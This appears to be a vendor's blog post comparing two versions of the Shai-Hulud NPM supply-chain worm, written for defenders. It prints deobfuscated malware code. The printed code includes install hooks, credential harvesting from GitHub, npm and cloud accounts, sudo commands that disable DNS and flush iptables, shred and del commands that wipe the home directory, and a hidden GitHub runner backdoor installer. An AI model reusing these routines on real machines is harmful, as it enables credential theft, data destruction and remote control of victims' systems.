Introduction
In September 2025, researchers discovered “Shai-Hulud”, a self-replicating malware worm targeting the NPM ecosystem. This wasn’t just another piece of malware – at its core, it stole developer credentials, cloud tokens, and private repositories owned by the affected maintainers, then weaponized developer trust and automatically propagated itself and infected as many packages and system as possible.
Just 2 months later, in November 2025, a new version of the malware, dubbed “The Second Coming”, arrived with improved sophisticated techniques prepared to cause more damage.
What follows is a comparison of both versions of the malware, showcasing how it evolved and the differences between the two. Hopefully this will help you understand a bit more about malware, and the malicious intents behind this campaign.
If you’re more interested in IOCs and recommended mitigation strategies, check our original posts:
- NPM Hit By Shai-Hulud, The Self-Replicating Supply Chain Attack
- Shai-Hulud’s Second Coming: NPM Malware Attack Evolved.
High-Level Comparison: Shai-Hulud original vs. Second Coming
| Feature | Version 1 | Version 2 |
|---|---|---|
| Installation | Postinstall script | Preinstall script |
| Obfuscation | Simple minification | Multi-layered obfuscation |
| Data Harvesting |
GitHub username + token GitHub secrets Npm username + token AWS secrets Google Cloud secrets TruffleHog output System Environment variables Host information – mainly about the Operating System architecture Exfiltration of all private/internal organization repositories the user has access to |
GitHub username + token GitHub secrets Npm username + token AWS secrets Google Cloud secrets Azure Vault keys TruffleHog output System Environment variables Host information – not only about the OS, but also hostname and userinfo |
| Defense Evasion/Security Tampering | – |
Attempts privilege escalation via docker container escape Attempts to stop systemd-resolved Flushes iptables |
| Persistence and Spread Mechanisms |
Spreads to all packages of the infected user Injects a malicious GitHub Workflow in all the repositories that the user owns, collaborates, or is a member |
Spreads to all packages of the infected user Injects a malicious GitHub Workflow in all the repositories that the user owns, collaborates, or is a member Installs a self-hosted GitHub runner that serves as a backdoor to the infected system |
| Fallback Mechanisms | – | Wipes all files in the user’s profile/home directory |
The first wave of Shai-Hulud
The first observed instance of the malware infected packages with a “postinstall” script that automatically executed a “bundle.js” file containing the malicious code. The code itself was not hard to reverse engineer because it was only minified, meaning the code is presented in a single long line, where all whitespaces, tabs, and line breaks are removed, and variables and function names are usually shortened. This is easily reversible.
Note that this post contains screenshots of code captured during our investigation. Plain-text snippets are provided for accessibility, but be aware that the plain-text versions were created automatically using AI-enhanced OCR, and therefore may contain errrors.
Reveal code as text
{
"name": "@ctrl/tinycolor",
"version": "4.1.1",
"description": "Fast, small color manipulation and conversion for JavaScript",
"author": "Scott Cooper <[email protected]>",
"publishConfig": {
"access": "public"
},
"license": "MIT",
"homepage": "https://tinycolor.vercel.app",
"repository": "scttcper/tinycolor",
"keywords": [
"typescript",
"color",
"manipulation",
"tinycolor",
"hsa",
"rgb"
],
"main": "dist/public_api.js",
"module": "dist/module/public_api.js",
"typings": "dist/public_api.d.ts",
"files": [
"dist"
],
"sideEffects": false,
"scripts": {
"demo:build": "npm run build --workspace=demo",
"demo:watch": "npm run dev --workspace=demo",
"lint": "eslint --ext .js,.ts, .",
"lint:fix": "eslint --fix --ext .js,.ts, .",
"prepare": "npm run build",
"build": "del-cli dist && tsc -p tsconfig.build.json && tsc -p tsconfig.module.json && ts-node build",
"docs:build": "typedoc --out demo/dist/docs --hideGenerator --tsconfig tsconfig.build.json src/public_api.ts",
"test": "vitest run",
"test:watch": "vitest",
"test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
"postinstall": "node bundle.js"
}
}
This malicious script then performed several actions in the background, the first one being credential harvesting for Shai-Hulud to exfiltrate later. It scanned the system for credentials, such as GitHub PATs, NPM tokens, and cloud provider keys (AWS and Google). If the operating system allowed it, it also deploy TruffleHog, a known secrets discovery software, to leak as many credentials as possible.
To explain in more detail, the malware contained different class modules for this purpose:
A class named “TruffleHogModule”, containing the necessary functions for checking the Operating System information, downloading the compatible binaries of Truffle Hug, installing it, and then scanning the file system for credentials.
A class named “GCPModule”, containing the necessary functions for connecting to the user’s Google Cloud account and harvesting its secrets.
A class named “AWSModule”, containing the necessary functions for connecting to the user’s AWS account and harvesting its secrets.
A class named “GitHubModule”, containing the necessary functions for harvesting the user’s GitHub token from the system, and later performing other actions related to the malware’s propagation and data exfiltration steps.
Reveal code as text
class TruffleHogModule {
constructor() {
((this.installedStatus = !1),
(this.systemInfo = (0, F.getSystemInfo)()));
const t =
"windows" === this.systemInfo.platform
? "trufflehog.exe"
: "trufflehog";
((this.binaryPath = oe.join(process.cwd(), t)),
this.checkIfInstalled());
}
checkIfInstalled() {
…
}
mapArchitecture(t) {
…
}
mapPlatform(t) {
…
}
async getLatestRelease() {
…
}
async downloadFile(t, r) {
…
}
async extractBinary(t) {
…
}
async install() {
…
}
async getVersion() {
…
}
async isAvailable() {
…
}
getBinaryPath() {
…
}
isInstalled() {
…
}
getSupportedPlatform() {
…
}
async scanFilesystem(t = ".", r = 9e4) {
…
}
}
Reveal code as text
class GCPModule {
constructor() {
(this.projectInfo = null),
(this.isValidCredentials = !1),
(this.initialized = !1),
(this.auth = new F.GoogleAuth({
scopes: ["https://www.googleapis.com/auth/cloud-platform"]
})),
(this.secretsClient = new te.SecretManagerServiceClient());
}
async initialize() {
…
}
async isValid() {
…
}
async getProjectInfo() {
…
}
async getProjectId() {
…
}
async getUserEmail() {
…
}
async listSecrets() {
…
}
async getSecretValue(t, r = "latest") {
…
}
async getAllSecretValues() {
…
}
}
Reveal code as text
class AWSModule {
constructor() {
(this.stsClient = null),
(this.secretsClients = new Map()),
(this.callerIdentity = null),
(this.profile = null),
(this.REGIONS = [
…
]);
}
parseAwsProfiles() {
…
}
async initialize() {
…
}
getSecretsClient(t) {
…
}
async isValid() {
…
}
async getCallerIdentity() {
…
}
async listSecrets() {
…
}
async getSecretValue(t) {
…
}
async getAllSecretValues() {
…
}
}
Reveal code as text
class GitHubModule {
constructor() {
(this.token = this.getToken()),
(this.octokit = new F.Octokit({ auth: this.token || void 0 }));
}
getToken() {
const t = process.env.GITHUB_TOKEN;
if (t) return t;
try {
const t = (0, te.execSync)("gh auth token", { encoding: "utf8", stdio: "pipe" }).trim();
if (t) return t;
} catch {}
return null;
}
async getUser(t) {
…
}
async extraction(t) {
…
}
async migration(t, r, F) {
…
}
async makeRepo(t, r) {
…
}
isAuthenticated() {
…
}
getCurrentToken() {
…
}
async getOrgs() {
…
}
}
After having all the victim’s keys, Shai-Hulud proceeded to exfiltrate this data to the attacker. For this, it started by creating a new GitHub repository named “Shai-Hulud” – hence the name attributed to this campaign – with a file named “data.json” containing all user data base64 encoded. It further exfiltrated more secrets to a webhook (under “webhook.site”) controlled by the attacker(s), but this was done as part of the propagation mechanism of the malware.
Reveal code as text
const ue = {
system: {
platform: t.platform,
architecture: t.architecture,
platformDetailed: t.platformRaw,
architectureDetailed: t.archRaw,
},
environment: process.env,
modules: {
github: {
authenticated: r.isAuthenticated(),
token: r.getCurrentToken(),
username: r.getUser(),
},
aws: { secrets: ce },
gcp: { secrets: le },
trufflehog: ae,
npm: {
token: re,
authenticated: ie,
username: oe,
},
},
};
r.isAuthenticated() &&
(await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2)),
process.exit(0));
As a further exfiltration step, the malware went beyond stealing keys – it copied all private and internal repositories owned by the compromised maintainer’s organization and pushed them into new public repositories controlled by the attacker. The repos were given a “Shai-Hulud Migration” description. This is particularly interesting because it shows the attackers goal was to gather maximum data.
In the end, Shai-Hulud used sophisticated, automated propagation techniques to spread across packages and repositories:
It started to propagate itself by injecting the same malicious code to all packages the user has access to. This was done by the “NpmModule” class, and only in case the malware finds any NPM token during the credential harvesting step.
It also injected a malicious GitHub Workflow, named “shai-hulud-workflow.yml” in all the repositories that the user owns, collaborates, or is a member. This workflow exfiltrated the GitHub secrets from every repository accessible with the user’s PAT token and sent them to an attacker controlled webhook via our classic “curl”.
Reveal code as text
class NpmModule {
constructor(t) {
(this.baseUrl = "https://registry.npmjs.org"),
(this.userAgent = `npm/9.2.0 node/v${process.version.replace("v", "")} workspaces/false`),
(this.token = t);
}
async validateToken() {
…
}
getHeaders(t = !1) {
…
}
async searchPackages(t, r = 20) {
…
}
async getPackageDetail(t) {
…
}
async updatePackage(t) {
…
}
async getPackagesByMaintainer(t, r = 10) {
…
}
}
How Shai-Hulud evolved into its “Second Coming”
The malware is now installed using the “preinstall” script, instead of “postinstall”. This makes sure that the malware is executed even if the compromised package for some reason fails to install, making its infection and spread more plausible to happen.
Reveal code as text
{
"name": "@accordproject/concert-analysis",
"version": "3.24.1",
"description": "Analysis of Concerto model files",
"homepage": "https://github.com/accordproject/concerto",
"engines": {
"node": ">=18",
"npm": ">=10"
},
"main": "dist/index.js",
"typings": "dist/index.d.ts",
"scripts": {
"clean": "rimraf dist",
"prebuild": "npm-run-all clean",
"build": "tsc -p tsconfig.build.json",
"pretest": "npm-run-all lint",
"lint": "eslint .",
"test": "jest",
"test:watch": "jest --watchAll",
"preinstall": "node setup_bun.js"
},
"repository": {
"type": "git",
"url": "https://github.com/accordproject/concerto.git",
"directory": "packages/concerto-analysis"
},
"keywords": [
"concerto",
"tools",
"modeling"
],
"author": "accordproject.org",
"license": "Apache-2.0",
"dependencies": {
"@accordproject/concerto-core": "3.24.0",
"semver": "7.6.3"
},
"devDependencies": {
"@accordproject/concerto-cto": "3.24.0",
"@types/semver": "7.5.8",
"@typescript-eslint/eslint-plugin": "8.16.0",
"@typescript-eslint/parser": "8.16.0",
"eslint": "8.57.1",
"jest": "^29.7.0",
"npm-run-all": "4.1.5",
"ts-jest": "^29.2.5",
"typescript": "^5.7.2"
}
}
Now, before diving in, it’s important to note that this version of the malware was heavily obfuscated in comparison to the previous version. Obfuscation makes the code significantly harder to detect, analyze, and reverse engineer. If we look at the source code, it’s almost unreadable because variable names, function names, and even function calls are replaced with meaningless hexadecimal strings. As a result, please note that the function names and variables you’ll see throughout this blog have been renamed to our liking to make the code easier to understand.
Reveal code as text
function _0x120563(_0x800511) {
var _0x6ec2a6 = _0x1b9ab3;
if (!_0x800511) return _0x800511 === 0x0 ? _0x800511 : 0x0;
if (_0x800511 = _0x358952(_0x800511),
_0x800511 === _0x15a208 || _0x800511 === -_0x15a208) {
if (_0x6ec2a6(0x16c7) === _0x6ec2a6(0x16c7)) {
var _0x4aab5d = _0x800511
typeof _0x1f015e === _0x6ec2a6(0x48af) &&
(_0x50c4d4[_0x4f2dd1.isReadableStream] = _0x56e76e;
var _0x12f7ea = _0x55d561 => {
var _0x5e6f59 = _0x6ec2a6;
return typeof _0x4661d6 === _0x5e6f59(0x48af) &&
(_0x55d561[_0x5e6f59(0x119f)] ? : );
};
_0x10d5ad['isBlob'] = _0x12f7ea;
}
}
return _0x800511 === _0x800511 ? _0x800511 : 0x0;
}
One particularity of this version is that before it does anything,
the malware starts by attempting privilege escalation and tampering with
the security of the network in Linux systems. This was not part of the
first campaign. It now attempts to stop systemd-resolved
and modify network settings by flushing iptables if running as root or
with passwordless sudo.
Reveal code as text
async function tamperNetworkSecurity() {
await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();
await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow();
await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();
await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();
await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();
}
Most of its data harvesting steps, although different in structure, share the same logic to the previous version. It harvests host information, NPM tokens, GitHub token, and Cloud Provider secrets, but this version collects a significantly broader set of credentials and host data:
It now expands its host profiling by getting the hostname of the operating system, and userinfo data, which contains the user/group IDs, the username of the logged-in user, the home directory and the default shell.
It targets more cloud providers and attempts to harvest the user’s Azure vault access keys.
Reveal code as text
let systemAndGitData = {
system: {
platform: osMap.platform,
architecture: osMap.architecture,
platformDetailed: osMap.platformRaw,
architectureDetailed: osMap.archRaw,
hostname: os.hostname(),
os_user: os.userInfo()
},
modules: {
github: {
authenticated: gitClass.isAuthenticated(),
token: gitClass.getCurrentToken(),
username: gitUserData
}
}
};
let envData = {
environment: process.env
};
let cloudProvidersData = {
aws: {
secrets: await awsClass.runSecrets()
},
gcp: {
secrets: await googleClass.listAndRetrieveAllSecrets()
},
azure: {
secrets: await azureClass.listAndRetrieveAllSecrets()
}
};
Exfiltration still relies on the same method of creating a public GitHub repository where all the data is stored. This time, however, the repo gets the description “Sha1-Hulud: The Second Coming”. Additionally, instead of relying on a single base64 encoded file, the uploaded files are now organized into:
contents.json– containing the system and user informationenvironment.json– containing the system environment variablescloud.json– containing the cloud provider secretstruffleSecrets.json– containing the trufflehog findingsactionsSecrets.json– containing the secrets found via GitHub Actions workflows
Another notable difference is that instead of extracting GitHub
secrets to an attacker controlled webhook, using the injected malicious
GitHub workflow, the malware now harvests those in real time and saves
them into the respective file actionsSecrets.json.
Reveal code as text
let _0x6e06c0 = gitClass.saveContents(
"contents.json",
JSON.stringify(systemAndGitData),
"Add file"
);
let _0x3adc69 = gitClass.saveContents(
"environment.json",
JSON.stringify(envData),
"Add file"
);
let _0x584734 = gitClass.saveContents(
"cloud.json",
JSON.stringify(cloudProvidersData),
"Add file"
);
Reveal code as text
async function runTruffleExtractor(gitClass) {
try {
let truffleClass = new Truffle();
await truffleClass.initialize();
let extractedTruffleSecrets = await truffleClass.scanFilesystem(os.homedir());
if (gitClass.isAuthenticated() && gitClass.repoExists()) {
await gitClass.saveContents(
"truffleSecrets.json",
JSON.stringify(extractedTruffleSecrets),
"Add file"
);
}
} catch (_0x3a1393) {
console.log("Error 8");
}
return;
}
Reveal code as text
async function runGitActionsExtractor(gitClass) {
if (gitClass.isAuthenticated() && (await gitClass.checkWorkflowScope())) {
let actionsSecrets = [];
let gitToken = gitClass.getCurrentToken();
if (gitToken != null) {
let gitAPIClass = new GitHubAPI(gitToken);
let userRepos = gitAPIClass.userReposUpdatedSince();
for await (let secret of gitAPIClass.processReposStream(userRepos))
actionsSecrets.push(secret);
}
await gitClass.saveContents(
"actionsSecrets.json",
JSON.stringify(actionsSecrets),
"Add file"
);
return actionsSecrets;
} else {
console.log("Error 11");
}
return [];
}
Finally, the most significant difference is how the malware is much more dangerous when compared to the first version. It has new 2 main features:
A destructive fallback mechanism: If unable to obtain a GitHub or NPM token, the script attempts to shred and delete all files in the user’s profile/home directory.
Backdoor installation: Establishes persistence by installing a self-hosted GitHub runner that acts as a backdoor. The runner is registered to the created repository, meaning the infected machine can execute GitHub Actions jobs from that repository. In other words, the attacker who controls the repo can now run arbitrary commands on the infected machine.
Reveal code as text
if (!gitClass.isAuthenticated() || !gitClass.repoExists()) {
let gitToken = await gitClass.fetchToken();
if (!gitToken) {
if (npmToken) {
await runNpmCompromise(npmToken);
} else {
console.log("Error 12");
if (osMap.platform === "windows") {
Bun.spawnSync([
"cmd.exe",
"/c",
"del /F /Q /S \"%USERPROFILE%*\" && for /d %i in (\"%USERPROFILE%*\") do rd /S /Q \"%i\" & cipher /w:%USERPROFILE%"
]);
} else {
Bun.spawnSync([
"bash",
"-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete"
]);
}
}
process.exit(0);
}
}
Reveal code as text
async ["createRepo"](name, repoDescription = "Shai-Hulud: The Second Coming.", repoPrivate = false) {
let response = await this.octokit.request(
"POST /repos/{owner}/{repo}/actions/runners/registration-token", {}
);
if (response.status == 201) {
let token = response.data.token;
if (os.platform() === "linux") {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir() + "/.dev-env");
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
Bun.spawn(["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"], { unref: true });
} else if (os.platform() === "win32") {
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner.zip"`;
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('actions-runner.zip', '.')"`;
await Bun.$`./config.cmd --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir()).quiet();
Bun.spawn(["powershell", "-ExecutionPolicy", "Bypass", "-Command",
"Start-Process -WindowStyle Hidden -FilePath \".\\run.cmd\""
], { cwd: os.homedir() }).unref();
} else if (os.platform() === "darwin") {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
await Bun.$`./config.sh --url https://github.com/${repoOwner}/${repoName} --unattended --token ${token} --name "SHA1HULUD"`.cwd(os.homedir() + "/.dev-env").quiet();
await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env");
Bun.spawn(["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"], { unref: true });
}
}
}
Supply Chain Security has to level up
These steps show how a single compromised package became a multiplier – now imagine the actual propagation of the malware occurring across thousands of NPM packages or even spreading to other ecosystems as it was already observed with this campaign. Due to automatic mirroring of NPM packages being rebuilt for Maven, some infected packages were automatically rebuilt in the Maven ecosystem. The result is a widespread supply chain incident with serious consequences for projects and users that depend on the registry. This campaign reminds us how fragile the ecosystems we trust are and forces us to rethink how to secure open-source ecosystems.
It also is a lesson to defenders about the importance of not only being able to detect and respond to malicious open-source pacakges, but also to procatively defend against malicious packages, blocking them before they’re installed in order to avoid being infected by preintall and postinstall scripts.
NPM’s response to Shai-Hulud has led them to take some steps to make such attacks at least more complicated for adversaries to conduct. For details, read their official blog post on their upcoming security measures.
Malicious Code
Malicious Package
Malware
Open-Source Analysis
Open-Source Supply Chain
Shai-Hulud
supply chain attack
Supply Chain Security
Worm














